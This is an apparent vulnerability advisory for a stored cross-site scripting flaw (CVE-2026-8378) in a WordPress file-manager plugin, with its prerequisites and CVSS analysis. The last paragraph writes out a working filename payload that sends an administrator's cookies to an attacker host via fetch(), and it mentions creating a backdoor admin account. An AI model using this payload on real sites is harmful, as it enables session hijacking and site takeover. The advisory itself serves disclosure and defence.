Frontend File Manager Plugin CVE-2026-8378

Exploitation requires the attacker to hold at minimum a Subscriber-level WordPress account on the target site (PR:L per CVSS vector); sites with open user registration are therefore more broadly exposed than invitation-only or closed-registration installations. The vulnerable file-rename endpoint must be reachable - it is part of the plugin's frontend interface and active by default when the plugin is installed and enabled. An administrator must subsequently view the WordPress admin File Manager listing for the stored payload to execute (UI:R per CVSS vector); exploitation is not instantaneous but persists until triggered. There is no requirement for any non-default plugin configuration beyond the plugin being active. Exploitation is limited to WordPress installations running Frontend File Manager Plugin version 23.6 or earlier; sites that have never installed the plugin are not affected.

The CVSS 3.1 base score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately reflects the attack dynamics: low attack complexity, requiring only subscriber-level authentication and passive admin interaction. The Scope:Changed metric is the most impactful element, as successful exploitation escalates from a subscriber session to the full administrative WordPress context. A publicly available PoC from WPScan elevates real-world risk beyond what the numeric score suggests - exploitation is not theoretical but documented and reproducible. The vulnerability is not currently listed in CISA KEV, and no EPSS score was provided; however, the low barrier to entry (subscriber registration is open on most WordPress sites) combined with the high-value target (administrator session hijacking) and available PoC makes this a genuine near-term priority for affected sites. There is no confirmed fixed version in available data, meaning no patch-based remediation is currently actionable.

An attacker registers or uses an existing subscriber-level WordPress account on the target site and submits a filename such as '><img src=x onerror=fetch(https://attacker.example/steal?c=+document.cookie)> to the frontend file-rename endpoint. The payload is stored in post meta without sanitization. When a site administrator next opens the WordPress admin File Manager listing - a routine administrative action - the injected script executes in the admin's browser, exfiltrating session cookies or performing privileged actions such as creating a backdoor admin account. A public PoC from WPScan documents and demonstrates this exact technique.